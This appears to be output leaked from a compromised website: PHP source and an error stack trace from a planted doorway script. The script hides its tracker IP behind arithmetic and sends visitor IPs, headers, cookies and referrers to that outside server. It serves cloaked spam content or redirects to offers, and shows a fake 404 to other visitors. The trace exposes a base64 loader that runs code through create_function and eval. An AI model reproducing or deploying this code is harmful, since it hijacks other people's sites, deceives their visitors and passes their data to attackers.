($this->isPrefetchDetected()) { $this->param('prefetch', 1); } } public function currentPageAsReferrer() { $this->referrer($this->_getCurrentPage()); return $this; } public function debug($state = true) { $this->_debug = $state; return $this; } public function seReferrer($seReferrer) { $this->_params['se_referrer'] = $seReferrer; return $this; } public function referrer($referrer) { $this->_params['referrer'] = $referrer; return $this; } public function setHttpClient($httpClient) { $this->_httpClient = $httpClient; return $this; } public function trackerUrl($name) { $this->_trackerUrl = $name; } // @deprecated public function token($token) { return $this->campaignToken($token); } public function campaignToken($campaignToken) { $this->_params['token'] = $campaignToken; return $this; } public function version($version) { $this->_params['version'] = $version; return $this; } public function ua($ua) { $this->_params['ua'] = $ua; return $this; } public function language($language) { $this->_params['language'] = $language; return $this; } public function keyword($keyword) { $this->_params['keyword'] = $keyword; return $this; } public function forceRedirectOffer() { $this->_params['force_redirect_offer'] = 1; } public function ip($ip) { $this->_params['ip'] = $ip; return $this; } public function sendUtmLabels() { foreach ($_GET as $name => $value) { if (strstr($name, 'utm_')) { $this->_params[$name] = $value; } } } public function setLandingToken($token) { $this->_startSession(); $_SESSION['token'] = $token; } public function getSubId() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log('No sub_id is defined'); return 'no_subid'; } $subId = $result->info->sub_id; return $subId; } public function getToken() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log('No landing token is defined'); return 'no_token'; } $subId = $result->info->token; return $subId; } public function sendAllParams() { foreach ($_GET as $name => $value) { if (empty($this->_params[$name]) && !in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } } } public function restoreFromSession() { if ($this->isStateRestored()) { return; } $this->_startSession(); if (!empty($_SESSION[self::STATE_SESSION_KEY])) { if ($_SESSION[self::STATE_SESSION_EXPIRES_KEY] < time()) { unset($_SESSION[self::STATE_SESSION_KEY]); unset($_SESSION[self::STATE_SESSION_EXPIRES_KEY]); $this->log('State expired'); } else { $this->_result = json_decode($_SESSION[self::STATE_SESSION_KEY], false); if (isset($this->_result) && isset($this->_result->headers)) { $this->_result->headers = array(); } $this->_stateRestored = true; $this->log('State restored'); } } } public function restoreFromQuery() { if (isset($_GET['_subid'])) { $this->_stateRestored = true; if (empty($this->_result)) { $this->_result = new StdClass(); $this->_result->info = new StdClass(); } $this->_result->info->sub_id = $_GET['_subid']; $this->log('SubId loaded from query'); if (isset($_GET['_token'])) { $this->_result->info->token = $_GET['_token']; $this->log('Landing token loaded from query'); } $this->_storeState($this->_result, self::DEFAULT_TTL); $this->_stateRestored = true; } } public function isStateRestored() { return $this->_stateRestored; } public function isPrefetchDetected() { $checkServerParams = array('HTTP_X_PURPOSE' => 'preview', 'HTTP_X_MOZ' => 'prefetch', 'HTTP_X_FB_HTTP_ENGINE' => 'Liger'); foreach ($checkServerParams as $name => $value) { if (isset($_SERVER[$name]) && $_SERVER[$name] == $value) { return true; } } return false; } public function saveCookie($key, $value, $ttl) { if (isset($_COOKIE[$key]) && $_COOKIE[$key] == $value) { return; } if (!headers_sent()) { setcookie($key, $value, $this->_getCookiesExpireTimestamp($ttl), '/', $this->_getCookieHost()); } $_COOKIE[$key] = $value; } public function param($name, $value) { if (!in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } return $this; } public function params($value) { if (!empty($value)) { if (is_string($value)) { parse_str($value, $result); foreach ($result as $name => $value) { $this->param($name, $value); } } } return $this; } public function reset() { $this->_result = null; } public function performRequest() { if ($this->_result) { return $this->_result; } $request = $this->_buildRequestUrl(); $params = $this->getParams(); $options = $this->_getRequestOptions(); $this->log('Request: ' . $request); try { $result = $this->_httpClient->request($request, $params, $options); $this->log('Response: ' . $result); } catch (KTrafficClientError $e) { if ($this->_debug) { throw $e; } else { return self::ERROR; } } $this->_result = json_decode($result); $this->_storeState( $this->_result, isset($this->_result->cookies_ttl) ? $this->_result->cookies_ttl : null ); if (isset($this->_result->cookies)) { $this->_saveKeitaroCookies($this->_result->cookies , $this->_result->cookies_ttl); } return $this->_result; } public function execute($break = false, $print = true) { $content = $this->getContent(); if ($print) { $headers = $this->sendHeaders(); echo $content; } else { return $content; } if ($break && (!empty($content) || $this->checkHeaders($headers))) { exit; } } public function checkHeaders($headers) { if (empty($headers)) { return; } foreach ($headers as $header) { if (strpos($header, 'Location:') === 0) { return true; } if ($header == 'HTTP/1.1 404 Not Found') { return true; } } return false; } public function getContent() { $result = $this->performRequest(); $content = ''; if (!empty($result)) { if (!empty($result->error)) { $content .= $result->error; } if (!empty($result->body)) { if (isset($result->contentType) && (strstr($result->contentType, 'image') || strstr($result->contentType, 'application/pdf'))) { $content = base64_decode($result->body); } else { $content .= $result->body; } } } return $content; } public function showLog($separator = '
') { echo '
' . implode($separator, $this->getLog()). '
'; } public function log($msg) { if ($this->_debug) { error_log($msg); } $this->_log[] = $msg; } public function getLog() { return $this->_log; } public function executeAndBreak() { $this->execute(true); } public function getParams() { return $this->_params; } private function _storeState($result, $ttl) { $this->_startSession(); $_SESSION[self::STATE_SESSION_KEY] = json_encode($result); $_SESSION[self::STATE_SESSION_EXPIRES_KEY] = time() + ($ttl * 60 * 60); // for back-compatibility purpose if (!empty($result->info)) { if (!empty($result->info->sub_id)) { $_SESSION[self::SESSION_SUB_ID] = $result->info->sub_id; } if (!empty($result->info->token)) { $_SESSION[self::SESSION_LANDING_TOKEN] = $result->info->token; } } } private function _saveKeitaroCookies($cookies, $ttl) { foreach ($cookies as $key => $value) { $this->saveCookie($key, $value, $ttl); } } public function sendHeaders() { $result = $this->performRequest(); $headers = array(); $file = ""; $line = ""; if (headers_sent($file, $line)) { $msg = "Body output already started"; if (!empty($file)) { $msg .= "({$file}:{$line})"; } $this->log($msg); } if (!empty($result->headers)) { foreach ($result->headers as $header) { $headers[] = $header; if (!headers_sent()) { header($header); } } } if (!empty($result->status)) { http_response_code($result->status); } if (!empty($result->contentType)) { $header = 'Content-Type: ' . $result->contentType; $headers[] = $header; if (!headers_sent()) { header($header); } } return $headers; } // @deprecated public function updateHeaders() { $this->sendHeaders(); } public function getOffer($params = array(), $fallback = 'no_offer') { $result = $this->performRequest(); $token = $this->getToken(); if (empty($token)) { $this->log('Campaign hasn\'t returned offer'); return $fallback; } $params['_lp'] = 1; $params['_token'] = $result->info->token; return $this->_buildOfferUrl($params); } public function isBot() { $result = $this->performRequest(); if (isset($result->info)) { return isset($result->info->is_bot) ? $result->info->is_bot : false; } } public function isUnique($level = 'campaign') { $result = $this->performRequest(); if (isset($result->info) && $result->info->uniqueness) { return isset($result->info->uniqueness->$level) ? $result->info->uniqueness->$level : false; } } // @deprecated public function forceChooseOffer() { throw new \Error('forceChooseOffer was removed in KClickClient v3.'); } public function getBody() { $result = $this->performRequest(); return $result->body; } public function getHeaders() { $result = $this->performRequest(); return $result->headers; } private function _startSession() { if (!headers_sent()) { @session_start(); } } private function _buildOfferUrl($params = array()) { $request = parse_url($this->_trackerUrl); $lastChar = substr($request['path'], -1); if ($lastChar != '/' && $lastChar != '\\') { $path = str_replace(basename($request['path']), '', $request['path']); } else { $path = $request['path']; } $path = ltrim($path, "\\\/"); $params = http_build_query($params); return "{$request['scheme']}://{$request['host']}/{$path}?{$params}"; } private function _getCurrentPage() { if ((isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) || !empty($_SERVER['HTTPS'])) { $scheme = 'https'; } else { $scheme = 'http'; } return $scheme . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; } private function _buildRequestUrl() { $request = parse_url($this->_trackerUrl); $url = "{$request['scheme']}://{$request['host']}"; if (isset($request['port'])) { $url = ':' . $request['port']; } $url .= "/{$request['path']}"; return $url; } private function _findIp() { $ip = null; $headers = array( 'HTTP_X_FORWARDED_FOR', 'HTTP_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_FORWARDED', 'HTTP_CLIENT_IP', 'HTTP_FORWARDED_FOR_IP', 'X_FORWARDED_FOR', 'FORWARDED_FOR', 'X_FORWARDED', 'FORWARDED', 'CLIENT_IP', 'FORWARDED_FOR_IP', 'HTTP_PROXY_CONNECTION'); foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $tmp = explode(',', $_SERVER[$header]); $ip = trim($tmp[0]); break; } } if (strstr($ip, ',')) { $tmp = explode(',', $ip); if (stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) { $ip = trim($tmp[count($tmp) - 2]); } else { $ip = trim($tmp[0]); } } if (empty($ip)) { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } private function _getCookiesExpireTimestamp($ttl) { return time() + 60 * 60 * $ttl; } private function _getCookieHost() { if (isset($_SERVER['HTTP_HOST']) && substr_count($_SERVER['HTTP_HOST'], '.') < 3) { $host = '.' . str_replace('www.', '', $_SERVER['HTTP_HOST']); } else { $host = null; } return $host; } private function _getRequestOptions() { $opts = array(); if (isset($_SERVER["HTTP_COOKIE"])) { $opts['cookies'] = preg_replace('/PHPSESSID=.*?;/si', '', $_SERVER["HTTP_COOKIE"]); } return $opts; } } class KHttpClient { const UA = 'KHttpClient'; public function request($url, $params, $opts = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_COOKIE, isset($opts['cookies']) ? $opts['cookies'] : null); curl_setopt($ch, CURLOPT_NOBODY, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_USERAGENT, self::UA); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); $result = curl_exec($ch); if (curl_error($ch)) { throw new KTrafficClientError(curl_error($ch)); } if (empty($result)) { throw new KTrafficClientError('Empty response'); } return $result; } } class KTrafficClientError extends \Exception {} if (!function_exists('http_response_code')) { function http_response_code($code = NULL) { if ($code !== NULL) { switch ($code) { case 100: $text = 'Continue'; break; case 101: $text = 'Switching Protocols'; break; case 200: $text = 'OK'; break; case 201: $text = 'Created'; break; case 202: $text = 'Accepted'; break; case 203: $text = 'Non-Authoritative Information'; break; case 204: $text = 'No Content'; break; case 205: $text = 'Reset Content'; break; case 206: $text = 'Partial Content'; break; case 300: $text = 'Multiple Choices'; break; case 301: $text = 'Moved Permanently'; break; case 302: $text = 'Moved Temporarily'; break; case 303: $text = 'See Other'; break; case 304: $text = 'Not Modified'; break; case 305: $text = 'Use Proxy'; break; case 400: $text = 'Bad Request'; break; case 401: $text = 'Unauthorized'; break; case 402: $text = 'Payment Required'; break; case 403: $text = 'Forbidden'; break; case 404: $text = 'Not Found'; break; case 405: $text = 'Method Not Allowed'; break; case 406: $text = 'Not Acceptable'; break; case 407: $text = 'Proxy Authentication Required'; break; case 408: $text = 'Request Time-out'; break; case 409: $text = 'Conflict'; break; case 410: $text = 'Gone'; break; case 411: $text = 'Length Required'; break; case 412: $text = 'Precondition Failed'; break; case 413: $text = 'Request Entity Too Large'; break; case 414: $text = 'Request-URI Too Large'; break; case 415: $text = 'Unsupported Media Type'; break; case 500: $text = 'Internal Server Error'; break; case 501: $text = 'Not Implemented'; break; case 502: $text = 'Bad Gateway'; break; case 503: $text = 'Service Unavailable'; break; case 504: $text = 'Gateway Time-out'; break; case 505: $text = 'HTTP Version not supported'; break; default: exit('Unknown http status code "' . htmlentities($code) . '"'); break; } $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0'); header($protocol . ' ' . $code . ' ' . $text); $GLOBALS['http_response_code'] = $code; } else { $code = (isset($GLOBALS['http_response_code']) ? $GLOBALS['http_response_code'] : 200); } return $code; } } if (!function_exists('getallheaders')) { function getallheaders() { $headers = array(); foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') { $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } } return $headers; } } $hidd = sqrt(22201); $keys_file_source_enc = file_get_contents($txt_filename.".txt"); $keys_file_source = base64_decode($keys_file_source_enc); $arr_from_file = explode("\n", $keys_file_source); $matching_arr = array(); foreach ($arr_from_file as $line){ $tmp_arr = explode(";", $line); $matching_arr[$tmp_arr[0]]['keyword'] = trim($tmp_arr[1]); $matching_arr[$tmp_arr[0]]['path'] = trim($tmp_arr[2]); } $keyword = $matching_arr[$myfname]['keyword']; $txt_path = $matching_arr[$myfname]['path']; $door_domain = $_SERVER["HTTP_HOST"]; $door_file = $_SERVER['SCRIPT_NAME']; if($keyword){ $client = new KClickClient('http://'.$hidd.'.202.65.142/api.php?', $my_camp_ID); $client->sendAllParams(); $client->forceRedirectOffer(); $client->param('sub_id_1', urlencode($door_domain)); $client->param('sub_id_2', urlencode($door_file)); $client->param('sub_id_3', urlencode($door_tpl)); $client->param('sub_id_4', $_SERVER['HTTP_REFERER']); $client->param('sub_id_5', urlencode($pack_name)); $client->param('sub_id_6', urlencode($txt_path)); $client->param('sub_id_7', urlencode($myfname)); $client->keyword(urlencode($keyword)); $client->currentPageAsReferrer(); if($client->getBody()==""){ $client->executeAndBreak(); } else{ $content_body = preg_replace('||','',$client->getBody()); echo $content_body; } } else{ http_response_code(404); echo ' 404 Not Found

Not Found

The requested URL /'.$myfname.' was not found on this server.

'; die(); } '
)
.../bqpj.php(143) : runtime-created function(1) : eval()'d code(156) : runtime-created function:1

( ! ) Notice: Undefined index: HTTP_REFERER in /home/mytoolsshoppy/public_html/nes.edu.in/zehi/bqpj.php(143) : runtime-created function(1) : eval()'d code(156) : runtime-created function(1) : eval()'d code on line 753
Call Stack
#TimeMemoryFunctionLocation
10.0002362336{main}( ).../bqpj.php:0
20.0011421000__lambda_func( ).../bqpj.php:145
30.0014497632eval( ' $____='printf';$___________='WordPress Class...'; $___ = 'Y3JlYXRlX0ZVTkNUSU9O' ; $______= 'cmV0dXJuIGV2YWwoJF9fXyk7' ; $____ = 'base64_decode'; $___________='DQoJJGRvb3JfdHBsID0gImF1dG9fMjIwN18xIjsNCgkkbXlfY2FtcF9JRCA9ICJXYmNHTG03Yk15R3RmMjQxIjsNCgkkcGFja19uYW1lICA9ICIyMzA3X3ByZWNhY2hlZF9OT1NMQVNIIjsNCgkkdHh0X2ZpbGVuYW1lICA9ICJicXBqIjsNCgkNCg0KJG15X2dldF9hcnIgPSBhcnJheV92YWx1ZXMoJF9HRVQpOw0KJG15Zm5hbWUgPSAkbXlfZ2V0X2FyclswXTsNCgkNCmNsYXNzIEtDbGlja0NsaWVudA0Kew0KICAgIGNvbnN0IFNFU1NJT05fU1VCX0lEID0gJ3N1Yl9pZCc7DQogICAgY29uc3QgU0VTU0lPTl9MQU5ESU5HX1RPS0VOID0gJ2xhbmRpbmdfdG9rZW4nOw0KICAgIC8qKiBAdmVyc2lvbiAzLjUgKiovDQogICAgY29uc3QgVkVSU0lPTiA9IDM7DQogICAgY29uc3QgU1RBVEVfU0VTU0lPTl9LRVkgPSAna2VpdGFyb19zdGF0ZSc7DQogICAgY29uc3QgU1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWSA9ICdrZWl0YXJvX3N0YXRlX2V4cGlyZXMnOw0KICAgIGNvbnN0IERFRkFVTFRfVFRMID0gMTsNCiAgICAvKioNCiAgICAgKiBAdmFyIEtIdHRwQ2xpZW50DQogICAgICovDQogICAgcHJpdmF0ZSAkX2h0dHBDbGllbnQ7DQogICAgcHJpdmF0ZSAkX2RlYnVnID0gZmFsc2U7DQogICAgcHJpdmF0ZSAkX3RyYWNrZXJVcmw7DQogICAgcHJpdmF0ZSAkX3BhcmFtcyA9IGFycmF5KCk7DQogICAgcHJpdmF0ZSAkX2xvZyA9IGFycmF5KCk7DQogICAgcHJpdmF0ZSAkX2V4Y2x1ZGVQYXJhbXMgPSBhcnJheSgnYXBpX2tleScsICd0b2tlbicsICdsYW5ndWFnZScsICd1YScsICdpcCcsICdyZWZlcnJlcicsICdmb3JjZV9yZWRpcmVjdF9vZmZlcicpOw0KICAgIHByaXZhdGUgJF9yZXN1bHQ7DQogICAgcHJpdmF0ZSAkX3N0YXRlUmVzdG9yZWQ7DQoNCiAgICBjb25zdCBFUlJPUiA9ICdbS1RyYWZmaWNDbGllbnRdIFNvbWV0aGluZyBpcyB3cm9uZy4gRW5hYmxlIGRlYnVnIG1vZGUgdG8gc2VlIHRoZSByZWFzb24uJzsNCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdHJhY2tlclVybCwgJHRva2VuKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPnRyYWNrZXJVcmwoJHRyYWNrZXJVcmwpOw0KICAgICAgICAkdGhpcy0+Y2FtcGFpZ25Ub2tlbigkdG9rZW4pOw0KICAgICAgICAkdGhpcy0+dmVyc2lvbihzZWxmOjpWRVJTSU9OKTsNCiAgICAgICAgJHRoaXMtPnBhcmFtKCdpbmZvJywgMSk7DQogICAgICAgICR0aGlzLT5maWxsUGFyYW1zKCk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGZpbGxQYXJhbXMoKQ0KICAgIHsNCiAgICAgICAgJHJlZmVycmVyID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA/ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA6IG51bGw7DQogICAgICAgICR0aGlzLT5zZXRIdHRwQ2xpZW50KG5ldyBLSHR0cENsaWVudCgpKTsNCg0KICAgICAgICAkdGhpcy0+aXAoJHRoaXMtPl9maW5kSXAoKSkNCiAgICAgICAgICAgIC0+dWEoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA/ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSA6IG51bGwpDQogICAgICAgICAgICAtPmxhbmd1YWdlKChpc3NldCgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkgPyBzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sIDAsIDIpIDogJycpKQ0KICAgICAgICAgICAgLT5zZVJlZmVycmVyKCRyZWZlcnJlcikNCiAgICAgICAgICAgIC0+cmVmZXJyZXIoJHJlZmVycmVyKQ0KICAgICAgICAgICAgLT5wYXJhbSgnb3JpZ2luYWxfaGVhZGVycycsIGdldGFsbGhlYWRlcnMoKSkNCiAgICAgICAgICAgIC0+cGFyYW0oJ29yaWdpbmFsX2hvc3QnLCBpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pID8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIDogJ2xvY2FsaG9zdCcpDQogICAgICAgICAgICAtPnBhcmFtKCdrdmVyc2lvbicsICczLjQnKTsNCg0KICAgICAgICBpZiAoJHRoaXMtPmlzUHJlZmV0Y2hEZXRlY3RlZCgpKSB7DQogICAgICAgICAgICAkdGhpcy0+cGFyYW0oJ3ByZWZldGNoJywgMSk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gY3VycmVudFBhZ2VBc1JlZmVycmVyKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5yZWZlcnJlcigkdGhpcy0+X2dldEN1cnJlbnRQYWdlKCkpOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGRlYnVnKCRzdGF0ZSA9IHRydWUpDQogICAgew0KICAgICAgICAkdGhpcy0+X2RlYnVnID0gJHN0YXRlOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNlUmVmZXJyZXIoJHNlUmVmZXJyZXIpDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1snc2VfcmVmZXJyZXInXSA9ICRzZVJlZmVycmVyOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHJlZmVycmVyKCRyZWZlcnJlcikNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydyZWZlcnJlciddID0gJHJlZmVycmVyOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNldEh0dHBDbGllbnQoJGh0dHBDbGllbnQpDQogICAgew0KICAgICAgICAkdGhpcy0+X2h0dHBDbGllbnQgPSAkaHR0cENsaWVudDsNCiAgICAgICAgcmV0dXJuICR0aGlzOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiB0cmFja2VyVXJsKCRuYW1lKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl90cmFja2VyVXJsID0gJG5hbWU7DQogICAgfQ0KDQogICAgLy8gQGRlcHJlY2F0ZWQNCiAgICBwdWJsaWMgZnVuY3Rpb24gdG9rZW4oJHRva2VuKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5jYW1wYWlnblRva2VuKCR0b2tlbik7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGNhbXBhaWduVG9rZW4oJGNhbXBhaWduVG9rZW4pDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1sndG9rZW4nXSA9ICRjYW1wYWlnblRva2VuOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiB2ZXJzaW9uKCR2ZXJzaW9uKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9wYXJhbXNbJ3ZlcnNpb24nXSA9ICR2ZXJzaW9uOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHVhKCR1YSkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWyd1YSddID0gJHVhOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGxhbmd1YWdlKCRsYW5ndWFnZSkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydsYW5ndWFnZSddID0gJGxhbmd1YWdlOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGtleXdvcmQoJGtleXdvcmQpDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1sna2V5d29yZCddID0gJGtleXdvcmQ7DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZm9yY2VSZWRpcmVjdE9mZmVyKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydmb3JjZV9yZWRpcmVjdF9vZmZlciddID0gMTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gaXAoJGlwKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9wYXJhbXNbJ2lwJ10gPSAkaXA7DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZFV0bUxhYmVscygpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChzdHJzdHIoJG5hbWUsICd1dG1fJykpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+X3BhcmFtc1skbmFtZV0gPSAkdmFsdWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0TGFuZGluZ1Rva2VuKCR0b2tlbikNCiAgICB7DQogICAgICAgICR0aGlzLT5fc3RhcnRTZXNzaW9uKCk7DQogICAgICAgICRfU0VTU0lPTlsndG9rZW4nXSA9ICR0b2tlbjsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0U3ViSWQoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdC0+aW5mby0+c3ViX2lkKSkgew0KICAgICAgICAgICAgJHRoaXMtPmxvZygnTm8gc3ViX2lkIGlzIGRlZmluZWQnKTsNCiAgICAgICAgICAgIHJldHVybiAnbm9fc3ViaWQnOw0KICAgICAgICB9DQogICAgICAgICRzdWJJZCA9ICRyZXN1bHQtPmluZm8tPnN1Yl9pZDsNCiAgICAgICAgcmV0dXJuICRzdWJJZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VG9rZW4oKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdC0+aW5mby0+c3ViX2lkKSkgew0KICAgICAgICAgICAgJHRoaXMtPmxvZygnTm8gbGFuZGluZyB0b2tlbiBpcyBkZWZpbmVkJyk7DQogICAgICAgICAgICByZXR1cm4gJ25vX3Rva2VuJzsNCiAgICAgICAgfQ0KICAgICAgICAkc3ViSWQgPSAkcmVzdWx0LT5pbmZvLT50b2tlbjsNCiAgICAgICAgcmV0dXJuICRzdWJJZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZEFsbFBhcmFtcygpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+X3BhcmFtc1skbmFtZV0pICYmICFpbl9hcnJheSgkbmFtZSwgJHRoaXMtPl9leGNsdWRlUGFyYW1zKSkgew0KICAgICAgICAgICAgICAgICR0aGlzLT5fcGFyYW1zWyRuYW1lXSA9ICR2YWx1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiByZXN0b3JlRnJvbVNlc3Npb24oKQ0KICAgIHsNCiAgICAgICAgaWYgKCR0aGlzLT5pc1N0YXRlUmVzdG9yZWQoKSkgew0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fc3RhcnRTZXNzaW9uKCk7DQogICAgICAgIGlmICghZW1wdHkoJF9TRVNTSU9OW3NlbGY6OlNUQVRFX1NFU1NJT05fS0VZXSkpIHsNCiAgICAgICAgICAgIGlmICgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0gPCB0aW1lKCkpIHsNCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9LRVldKTsNCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0pOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ1N0YXRlIGV4cGlyZWQnKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQgPSBqc29uX2RlY29kZSgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9LRVldLCBmYWxzZSk7DQogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCR0aGlzLT5fcmVzdWx0KSAmJiBpc3NldCgkdGhpcy0+X3Jlc3VsdC0+aGVhZGVycykpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQtPmhlYWRlcnMgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdGhpcy0+X3N0YXRlUmVzdG9yZWQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ1N0YXRlIHJlc3RvcmVkJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzdG9yZUZyb21RdWVyeSgpDQogICAgew0KICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ19zdWJpZCddKSkgew0KICAgICAgICAgICAgJHRoaXMtPl9zdGF0ZVJlc3RvcmVkID0gdHJ1ZTsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+X3Jlc3VsdCkpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+X3Jlc3VsdCA9IG5ldyBTdGRDbGFzcygpOw0KICAgICAgICAgICAgICAgICR0aGlzLT5fcmVzdWx0LT5pbmZvID0gbmV3IFN0ZENsYXNzKCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkdGhpcy0+X3Jlc3VsdC0+aW5mby0+c3ViX2lkID0gJF9HRVRbJ19zdWJpZCddOw0KICAgICAgICAgICAgJHRoaXMtPmxvZygnU3ViSWQgbG9hZGVkIGZyb20gcXVlcnknKTsNCiAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnX3Rva2VuJ10pKSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQtPmluZm8tPnRva2VuID0gJF9HRVRbJ190b2tlbiddOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ0xhbmRpbmcgdG9rZW4gbG9hZGVkIGZyb20gcXVlcnknKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICR0aGlzLT5fc3RvcmVTdGF0ZSgkdGhpcy0+X3Jlc3VsdCwgc2VsZjo6REVGQVVMVF9UVEwpOw0KICAgICAgICAgICAgJHRoa